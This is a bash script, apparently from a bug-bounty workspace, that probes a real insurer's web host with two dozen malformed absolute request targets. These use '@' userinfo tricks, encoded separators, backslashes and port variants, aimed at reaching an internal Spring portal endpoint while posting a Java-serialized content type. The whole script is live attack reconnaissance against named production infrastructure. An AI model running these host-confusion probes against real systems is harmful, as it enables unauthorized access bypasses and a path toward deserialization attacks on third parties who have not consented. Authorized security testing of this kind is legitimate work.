#!/usr/bin/env bash
set -euo pipefail
out=work/scratch/liferay-critical/absolute-authority-confusion.jsonl
: > "$out"
variants=(
'https://infoportal.baloise.de/api/spring/portal'
'https://mein-portal-registrierung.baloise.de/api/spring/portal'
'https://mein-portal-registrierung.baloise.de@infoportal.baloise.de/api/spring/portal'
'https://infoportal.baloise.de@mein-portal-registrierung.baloise.de/api/spring/portal'
'https://mein-portal-registrierung.baloise.de%40infoportal.baloise.de/api/spring/portal'
'https://infoportal.baloise.de%40mein-portal-registrierung.baloise.de/api/spring/portal'
'https://mein-portal-registrierung.baloise.de@@infoportal.baloise.de/api/spring/portal'
'https://infoportal.baloise.de@@mein-portal-registrierung.baloise.de/api/spring/portal'
'https://mein-portal-registrierung.baloise.de:443@infoportal.baloise.de/api/spring/portal'
'https://infoportal.baloise.de:443@mein-portal-registrierung.baloise.de/api/spring/portal'
'https://mein-portal-registrierung.baloise.de\\@infoportal.baloise.de/api/spring/portal'
'https://infoportal.baloise.de\\@mein-portal-registrierung.baloise.de/api/spring/portal'
'https://mein-portal-registrierung.baloise.de%5c@infoportal.baloise.de/api/spring/portal'
'https://infoportal.baloise.de%5c@mein-portal-registrierung.baloise.de/api/spring/portal'
'https://infoportal.baloise.de./api/spring/portal'
'https://infoportal.baloise.de.:443/api/spring/portal'
'https://INFOPORTAL.BALOISE.DE/api/spring/portal'
'https://infoportal%2ebaloise%2ede/api/spring/portal'
'https://infoportal.baloise.de:443/api/spring/portal'
'https://infoportal.baloise.de:0443/api/spring/portal'
'https://infoportal.baloise.de:443:443/api/spring/portal'
'https://infoportal.baloise.de;/api/spring/portal'
'https://infoportal.baloise.de,/api/spring/portal'
)
for target in "${variants[@]}"; do
  hdr=$(mktemp); body=$(mktemp); err=$(mktemp)
  set +e
  curl -sk --http1.1 --max-time 12 --request-target "$target" \
    -X POST 'https://infoportal.baloise.de/' \
    -H 'Host: infoportal.baloise.de' -H 'X-Bug-Bounty: dwbzn' \
    -H 'Content-Type: application/x-java-serialized-object' \
    --data-binary 'BB' -D "$hdr" -o "$body" 2>"$err"
  rc=$?
  set -e
  status=$(awk 'toupper($1) ~ /^HTTP\// {s=$2} END{print s+0}' "$hdr")
  loc=$(awk 'tolower($0) ~ /^location:/ {sub(/^[^:]*:[[:space:]]*/,""); sub(/\r$/,""); print; exit}' "$hdr")
  server=$(awk 'tolower($0) ~ /^server:/ {sub(/^[^:]*:[[:space:]]*/,""); sub(/\r$/,""); print; exit}' "$hdr")
  bytes=$(wc -c < "$body")
  preview=$(head -c 220 "$body" | tr '\r\n' '  ')
  xid=$(grep -Eo 'exchange [0-9a-f-]+' "$err" | tail -1 | awk '{print $2}')
  jq -nc --arg target "$target" --argjson rc "$rc" --argjson status "$status" --arg location "$loc" --arg server "$server" --argjson bytes "$bytes" --arg preview "$preview" --arg exchange "$xid" '{request_target:$target,rc:$rc,status:$status,location:$location,server:$server,bytes:$bytes,preview:$preview,exchange:$exchange}' >> "$out"
  rm -f "$hdr" "$body" "$err"
done
jq -r '[.status,.bytes,.request_target,.location,.preview,.exchange] | @tsv' "$out"
